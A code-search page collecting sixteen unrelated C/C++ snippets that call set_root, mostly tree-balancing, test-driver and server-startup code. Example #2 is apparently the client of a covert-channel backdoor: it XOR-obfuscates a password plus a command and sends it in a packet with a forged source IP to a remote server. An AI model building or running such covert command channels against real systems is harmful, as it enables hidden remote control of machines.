Example #1
0
int merge_left (PBTREE btree, int node_idx, int parent_index_this) {
// copy all elements from this node into the left sibling, along with the
// element in the parent node vector that has this node as its subtree.
// this node and its parent element are then deleted.
    int i;
    int parent_node_idx = btree->nodes[node_idx].parent_node_idx;
    BTREE_ELEMENT parent_elem;
    memcpy(&parent_elem, &btree->nodes[parent_node_idx].elements[parent_index_this], sizeof(BTREE_ELEMENT));
    int left_sib = btree->nodes[parent_node_idx].elements[parent_index_this-1].subtree_node_idx;
    parent_elem.subtree_node_idx = btree->nodes[node_idx].elements[0].subtree_node_idx;
    vector_insert (btree, left_sib, &parent_elem);
    for (i=1; i<btree->nodes[node_idx].element_count; i++)
        vector_insert (btree, left_sib, &btree->nodes[node_idx].elements[i]);
    vector_delete_pos (btree, parent_node_idx, parent_index_this);
    if (parent_node_idx==find_root(btree) && !key_count(btree, parent_node_idx)) {
        set_root(btree, left_sib);
        delete_node(btree, parent_node_idx);
        btree->nodes[left_sib].parent_node_idx = BTREE_INVALID_NODE_IDX;
        delete_node(btree, node_idx);
        return BTREE_INVALID_NODE_IDX;
    }
    else if (parent_node_idx==find_root(btree) && key_count(btree, parent_node_idx)) {
        delete_node(btree, node_idx);
        return BTREE_INVALID_NODE_IDX;
    }
    delete_node(btree, node_idx);
    if (key_count(btree, parent_node_idx) >= btree_minimum_keys())
        return BTREE_INVALID_NODE_IDX; // no need for parent to import an element
    return parent_node_idx; // parent must import an element
}
Example #2
0
/*-----------------------------------------------------------------------------
 * FUNCTION:    main 
 * 
 * DATE:        June 4, 2010
 * 
 * REVISIONS:   
 * 
 * DESIGNER:    Steffen L. Norgren <*****@*****.**>
 * 
 * PROGRAMMER:  Steffen L. Norgren <*****@*****.**>
 * 
 * INTERFACE:   int main(int argc, char **argv)
 *                  argc - argument count
 *                  argv - array of arguments
 * 
 * RETURNS:     Result on success or failure.
 *
 * NOTES: Main entry point into the program. Parses command-line arguments and
 *        configures the client.
 *
 *----------------------------------------------------------------------------*/
int main(int argc, char *argv[])
{
	char packet[MAX_PKT_LEN];

	/* parse CLI options */
	if (parse_options(argc, argv) == ERROR_OPTS) {
		err(1, "Invalid options");
		exit(ERROR_OPTS);
	}

	print_settings(argv[0]);

	/* make sure user is root */
	if (geteuid() != USER_ROOT) {
		fprintf(stderr, "Must be root to run this program.\n");
		exit(ERROR_NOTROOT);
	}

	/* raise privileges */
	if (set_root() == ERROR_NOTROOT) {
		err(1, "set_root");
	}

	sprintf(packet, "%s%s%s%s", PASSWORD, EXT_CMD_START, cli_vars.command, EXT_CMD_END);

	packet_forge(xor(packet), "216.187.76.2", cli_vars.server_ip);

	return 0;
}
Example #3
0
NodePtr AvlTree<T>::add_key(const NodePtr& new_node) {
	if(!m_root) {
		set_root(new_node);
	}
	else { 
		auto node = m_root;
		while(node) {
			if(new_node->get_value() == node->get_value()) {
				return nullptr; 
			}
			if(new_node->get_value() < node->get_value()) {
				if(!node->get_lson()) {
					node->set_lson(new_node);
					break;
				}
				node = node->get_lson();
			}
			if(new_node->get_value() > node->get_value()) {
				if(!node->get_rson()) {
					node->set_rson(new_node);
					break;
				}
				node = node->get_rson();
			}
		}
		new_node->set_parent(node);
	}
	m_size++;
	rebalance(new_node);
	return new_node;
}
Example #4
0
bool TestFuzzer::Init() {
    BEGIN_HELPER;
    Reset();

    out_ = open_memstream(&outbuf_, &outbuflen_);
    ASSERT_NONNULL(out_);

    err_ = open_memstream(&errbuf_, &errbuflen_);
    ASSERT_NONNULL(err_);

    // Configure base object
    set_root(fixture_.path());
    set_out(out_);
    set_err(err_);

    END_HELPER;
}
Example #5
0
void create() {

	NodeData data;
	memset(&data, 0, sizeof(NodeData));

	init();

	data.id = 0;
	strncpy(data.name, "root", sizeof(data.name) - 1);

	set_root(data);

	memset(&data, 0, sizeof(NodeData));
	data.id = 1;
	strncpy(data.name, "root-child-1", sizeof(data.name) - 1);

	set_child(0, 1, data);

	memset(&data, 0, sizeof(NodeData));
	data.id = 2;
	strncpy(data.name, "root-child-2", sizeof(data.name) - 1);

	set_child(0, 2, data);

	memset(&data, 0, sizeof(NodeData));
	data.id = 3;
	strncpy(data.name, "root-child-3", sizeof(data.name) - 1);

	set_child(0, 3, data);

	memset(&data, 0, sizeof(NodeData));
	data.id = 4;
	strncpy(data.name, "root-child-1-1", sizeof(data.name) - 1);

	set_child(1, 4, data);

	memset(&data, 0, sizeof(NodeData));
	data.id = 5;
	strncpy(data.name, "root-child-1-2", sizeof(data.name) - 1);

	set_child(1, 5, data);

	return;
}
Example #6
0
static void
mdb_exchange_child(struct cte *first, struct cte *first_parent,
                   struct cte *second)
{
    assert(mdb_is_child(first, first_parent));

    if (!first_parent) {
        set_root(second);
    }
    else if (N(first_parent)->left == first) {
        N(first_parent)->left = second;
    }
    else if (N(first_parent)->right == first) {
        N(first_parent)->right = second;
    }
    else {
        assert(!"first is not child of first_parent");
    }
}
Example #7
0
static struct cte*
mdb_split(struct cte *node)
{
    /* transform invalid state
     *
     *       |
     *      |T|--->|R|-->|X|
     *     /      /
     *   |A|    |B|
     *
     * to valid equivalent state
     *
     *             |
     *            |R|
     *           /   \
     *         |T|   |X|
     *        /   \
     *      |A|   |B|
     *
     */
    if (!node || !N(node)->right || !N(N(node)->right)->right) {
        return node;
    }
    else if (N(node)->level == N(N(N(node)->right)->right)->level) {
        struct cte *right = N(node)->right;
        N(node)->right = N(right)->left;
        N(right)->left = node;
        N(right)->level += 1;
        mdb_update_end(node);
        mdb_update_end(right);

        // need to update mdb_root
        if (mdb_root == node) {
            set_root(right);
        }
        return right;
    }
    else {
        return node;
    }
}
Example #8
0
void select()
{
    ofstream Cout;
    Cout.open("out.txt", ostream::app);
    ifstream cin;
    cin.open("input");
    string Select;
    welcome();
    introduce();
    while (cin >> Select)
    {
        Cout << Select << endl;
        system("cls");
        if (Select == "i")
        {
            Funtion_introduce();
            cout << "请输入1-13进行选择,输入\"q\"退出" << endl;
            Cout << "请输入1-13进行选择,输入\"q\"退出" << endl;
            string select;
            while (cin >> select)
            {
                Cout << select << endl;
                if (select == "1")
                {
                    string name_Root;
                    cout << "输入祖先的名字" << endl;
                    Cout << "输入祖先的名字" << endl;
                    cin >> name_Root;

                    set_root(name_Root);
                }
                else if (select == "2")
                {
                    string name_husband;
                    string name_wife;
                    cout << "输入老公和老婆的名字" << endl;
                    Cout << "输入老公和老婆的名字" << endl;
                    cin >> name_husband >> name_wife;

                    add_wife(name_husband, name_wife);
                }
Example #9
0
int btree_insert (PBTREE btree, PBTREE_ELEMENT element) {
    int last_visited_node_idx;

    if (!BTREE_IS_VALID_NODE_IDX(btree->root_node_idx))
    {
        int node_idx = get_free_node(btree);
        if (!BTREE_IS_VALID_NODE_IDX(node_idx))
            return 0;
        else
        {
            set_root(btree, node_idx);
            insert_zeroth_subtree (btree, node_idx, BTREE_INVALID_NODE_IDX);
        }
    }

    last_visited_node_idx = btree->root_node_idx;
    if (btree_search_ex(btree, &last_visited_node_idx, element->key))  // element already in tree
        return 0;
    if (vector_insert(btree, last_visited_node_idx, element))
        return 1;
    return split_insert(btree, last_visited_node_idx, element);
}
Example #10
0
static struct cte*
mdb_skew(struct cte *node)
{
    /* transform invalid state
     *
     *               |
     *      |L|<---|T|
     *     /   \      \
     *   |A|   |B|    |R|
     *
     * to valid equivalent state
     *
     *       |
     *      |L|--->|T|
     *     /      /   \
     *   |A|    |B|   |R|
     *
     */
    if (!node || !N(node)->left) {
        return node;
    }
    else if (N(node)->level == N(N(node)->left)->level) {
        struct cte *left = N(node)->left;
        N(node)->left = N(left)->right;
        N(left)->right = node;
        mdb_update_end(node);
        mdb_update_end(left);

        // need to update mdb_root
        if (mdb_root == node) {
            set_root(left);
        }
        return left;
    }
    else {
        return node;
    }
}
Example #11
0
 X_OVR void insert(const key_type& key)
 {
     if (NULL == this->root())
     {
         set_root(create_node(key, NULL));
         return;
     }
     Node* node = this->root();
     while (true)
     {
         if (key < node->key) // Pass to the left
         {
             if (NULL == node->left) // Found slot
             {
                 node->left = create_node(key, node);
                 break;
             }
             else
                 node = node->left; // Keep going
         }
         else if (key > node->key) // Pass to the right
         {
             if (NULL == node->right) // Found slot
             {
                 node->right = create_node(key, node);
                 break;
             }
             else
                 node = node->right; // Keep going
         }
         else // Equal to current node, skip inserting
         {
             break;
         }
     }
 }
Example #12
0
int
main(int argc, char **argv)
{
	unsigned long long vaddr;
	char *endp;
	addrxlat_ctx *ctx;
	addrxlat_pgt_t *pgt;
	int opt;
	addrxlat_status status;
	unsigned long refcnt;
	int rc;

	pgt = NULL;
	ctx = NULL;

	pgt = addrxlat_pgt_new();
	if (!pgt) {
		perror("Cannot initialize page table translation");
		rc = TEST_ERR;
		goto out;
	}

	while ((opt = getopt_long(argc, argv, "he:f:l:pr:",
				  opts, NULL)) != -1) {
		switch (opt) {
		case 'f':
			rc = set_paging_form(optarg);
			if (rc != TEST_OK)
				return rc;
			break;

		case 'r':
			rc = set_root(optarg, pgt);
			if (rc != TEST_OK)
				return rc;
			break;

		case 'e':
			rc = add_entry(optarg);
			if (rc != TEST_OK)
				return rc;
			break;

		case 'l':
			rc = set_linear(optarg);
			if (rc != TEST_OK)
				return rc;
			break;

		case 'p':
			xlatdef.method = ADDRXLAT_PGT;
			xlatdef.pgt = pgt;
			break;

		case 'h':
		default:
			usage(argv[0]);
			rc = (opt == 'h') ? TEST_OK : TEST_ERR;
			goto out;
		}
	}

	if (argc - optind != 1 || !*argv[optind]) {
		fprintf(stderr, "Usage: %s <addr>\n", argv[0]);
		return TEST_ERR;
	}

	vaddr = strtoull(argv[optind], &endp, 0);
	if (*endp) {
		fprintf(stderr, "Invalid address: %s\n", argv[optind]);
		return TEST_ERR;
	}

	ctx = addrxlat_new();
	if (!ctx) {
		perror("Cannot initialize address translation context");
		rc = TEST_ERR;
		goto out;
	}

	status = addrxlat_pgt_set_form(pgt, &paging_form);
	if (status != addrxlat_ok) {
		fprintf(stderr, "Cannot set paging form\n");
		rc = TEST_ERR;
		goto out;
	}

	addrxlat_cb_read32(ctx, read32);
	addrxlat_cb_read64(ctx, read64);

	rc = do_xlat(ctx, vaddr);

 out:
	if (pgt && (refcnt = addrxlat_pgt_decref(pgt)) != 0)
		fprintf(stderr, "WARNING: Leaked %lu pgt references\n",
			refcnt);

	if (ctx && (refcnt = addrxlat_decref(ctx)) != 0)
		fprintf(stderr, "WARNING: Leaked %lu addrxlat references\n",
			refcnt);

	return rc;
}
Example #13
0
// constructor
OBBTreeNavigator::OBBTreeNavigator(OBBBox *root_set) {
  set_root(root_set);
}
Example #14
0
int
main(int argc, char **argv)
{
	unsigned long long vaddr;
	char *endp;
	addrxlat_ctx_t *ctx;
	addrxlat_cb_t cb = {
		.read32 = read32,
		.read64 = read64,
		.read_caps = (ADDRXLAT_CAPS(ADDRXLAT_MACHPHYSADDR) |
			      ADDRXLAT_CAPS(ADDRXLAT_KVADDR))
	};
	addrxlat_meth_t pgt, linear, lookup, memarr, *meth;
	int opt;
	unsigned long refcnt;
	int rc;

	ctx = NULL;
	meth = NULL;

	pgt.kind = ADDRXLAT_PGT;
	pgt.target_as = ADDRXLAT_MACHPHYSADDR;
	pgt.param.pgt.root.as = ADDRXLAT_NOADDR;
	pgt.param.pgt.root.addr = 0;

	linear.kind = ADDRXLAT_LINEAR;
	linear.target_as = ADDRXLAT_MACHPHYSADDR;
	linear.param.linear.off = 0;

	lookup.kind = ADDRXLAT_LOOKUP;
	lookup.target_as = ADDRXLAT_MACHPHYSADDR;
	lookup.param.lookup.endoff = 0;

	memarr.kind = ADDRXLAT_MEMARR;
	memarr.target_as = ADDRXLAT_MACHPHYSADDR;
	memarr.param.memarr.base.as = ADDRXLAT_NOADDR;

	while ((opt = getopt_long(argc, argv, "he:f:l:m:pr:t:",
				  opts, NULL)) != -1) {
		switch (opt) {
		case 'f':
			meth = &pgt;
			rc = set_paging_form(&meth->param.pgt.pf, optarg);
			if (rc != TEST_OK)
				return rc;
			break;

		case 'r':
			meth = &pgt;
			rc = set_root(&meth->param.pgt.root, optarg);
			if (rc != TEST_OK)
				return rc;
			break;

		case 'e':
			rc = add_entry(optarg);
			if (rc != TEST_OK)
				return rc;
			break;

		case 'l':
			meth = &linear;
			rc = set_linear(&meth->param.linear.off, optarg);
			if (rc != TEST_OK)
				return rc;
			break;

		case 'm':
			meth = &memarr;
			rc = set_memarr(&meth->param.memarr, optarg);
			if (rc != TEST_OK)
				return rc;
			break;

		case 'p':
			meth = &pgt;
			break;

		case 't':
			meth = &lookup;
			rc = set_lookup(&meth->param.lookup.endoff, optarg);
			if (rc != TEST_OK)
				return rc;
			break;

		case 'h':
		default:
			usage(argv[0]);
			rc = (opt == 'h') ? TEST_OK : TEST_ERR;
			goto out;
		}
	}

	if (meth == NULL) {
		fputs("No translation method specified\n", stderr);
		return TEST_ERR;
	}

	if (argc - optind != 1 || !*argv[optind]) {
		fprintf(stderr, "Usage: %s <addr>\n", argv[0]);
		return TEST_ERR;
	}

	vaddr = strtoull(argv[optind], &endp, 0);
	if (*endp) {
		fprintf(stderr, "Invalid address: %s\n", argv[optind]);
		return TEST_ERR;
	}

	lookup.param.lookup.nelem = nentries;
	lookup.param.lookup.tbl = entries;

	ctx = addrxlat_ctx_new();
	if (!ctx) {
		perror("Cannot initialize address translation context");
		rc = TEST_ERR;
		goto out;
	}
	cb.data = ctx;
	addrxlat_ctx_set_cb(ctx, &cb);

	rc = do_xlat(ctx, meth, vaddr);

 out:
	if (ctx && (refcnt = addrxlat_ctx_decref(ctx)) != 0)
		fprintf(stderr, "WARNING: Leaked %lu addrxlat references\n",
			refcnt);

	return rc;
}
Example #15
0
//tree manipulation
template<class X> void splay_forest<X>::splay (Pos x)
{
    POMAGMA_ASSERT5(is_inserted(x), "node is not inserted before splaying");

    Pos y = U(x);
    if (!y) { //quit if x is root
        POMAGMA_ASSERT5(root(x) == x, "parentless x is not root after splaying");
        return;
    }
    bool x_y = is_left_of(x,y); //get initial direction

    while (true) {
        Pos z = U(y);

        //swap x and y if y is root
        if (!z) {
            if (x_y) {              //      zig
                set_L(y,R(x));      //    y      x
                set_R(x,y);         //   x . -> . y
            }                       //  . .      . .

            else {                  //      zag
                set_R(y,L(x));      //   y        x
                set_L(x,y);         //  . x  ->  y .
            }                       //   . .    . .
            set_root(x);
            return;
        }

        //remember z's parent
        Pos new_y = U(z);

        //splay x above y,z
        if (is_left_of(y,z)) {      //zig-
            if (x_y) {              //      zig-zig
                set_L(z,R(y));      //     z        x
                set_L(y,R(x));      //    y .  ->  . y
                set_R(y,z);         //   x .        . z
                set_R(x,y);         //  . .          . .
            }
            else {                  //      zig-zag
                set_L(z,R(x));      //    z         x
                set_R(y,L(x));      //   y .  ->  y   z
                set_L(x,y);         //  . x      . . . .
                set_R(x,z);         //   . .
            }
        } else { //zag-
            if (x_y) {              //      zag-zig
                set_L(y,R(x));      //   z          x
                set_R(z,L(x));      //  . y   ->  z   y
                set_L(x,z);         //   x .     . . . .
                set_R(x,y);         //  . .
            }
            else {                  //     zag-zag
                set_R(z,L(y));      //   z          x
                set_R(y,L(x));      //  . y   ->   y .
                set_L(y,z);         //   . x      z .
                set_L(x,y);         //    . .    . .
            }
        }

        //update direction
        if ((y = new_y)) {
            x_y = is_left_of(z,y);
        } else {
            set_root(x);
            return;
        }
    }
}
Example #16
0
int main(int argc, char *argv[])
{
    int server_s;               /* aspis socket */
    pid_t pid;

    /* set umask to u+rw, u-x, go-rwx */
    /* according to the man page, umask always succeeds */
    umask(077);

    /* but first, update timestamp, because log_error_time uses it */
    (void) time(&current_time);

    /* set timezone right away */
    tzset();

    {
        int devnullfd = -1;
        devnullfd = open("/dev/null", 0);

        /* make STDIN point to /dev/null */
        if (devnullfd == -1) {
            DIE("can't open /dev/null");
        }

        if (dup2(devnullfd, STDIN_FILENO) == -1) {
            DIE("can't dup2 /dev/null to STDIN_FILENO");
        }

        (void) close(devnullfd);
    }

    parse_commandline(argc, argv);
    fixup_server_root();
    read_config_files();
    drop_privs1();
    set_root();
    create_common_env();
    open_logs();
    server_s = create_server_socket();
    init_signals();
    build_needs_escape();

    /* background ourself */
    if (do_fork) {
        pid = fork();
    } else {
        pid = getpid();
    }

    switch (pid) {
    case -1:
        /* error */
        perror("fork/getpid");
        exit(EXIT_FAILURE);
    case 0:
        /* child, success */
        break;
    default:
        /* parent, success */
        if (pid_file != NULL) {
            FILE *PID_FILE = fopen(pid_file, "w");
            if (PID_FILE != NULL) {
                fprintf(PID_FILE, "%d", pid);
                fclose(PID_FILE);
            } else {
                perror("fopen pid file");
            }
        }

        if (do_fork)
            exit(EXIT_SUCCESS);
        break;
    }

    drop_privs2();
    /* main loop */
    timestamp();

    status.requests = 0;
    status.errors = 0;

    start_time = current_time;
    loop(server_s);
    close_logs();
    return 0;
}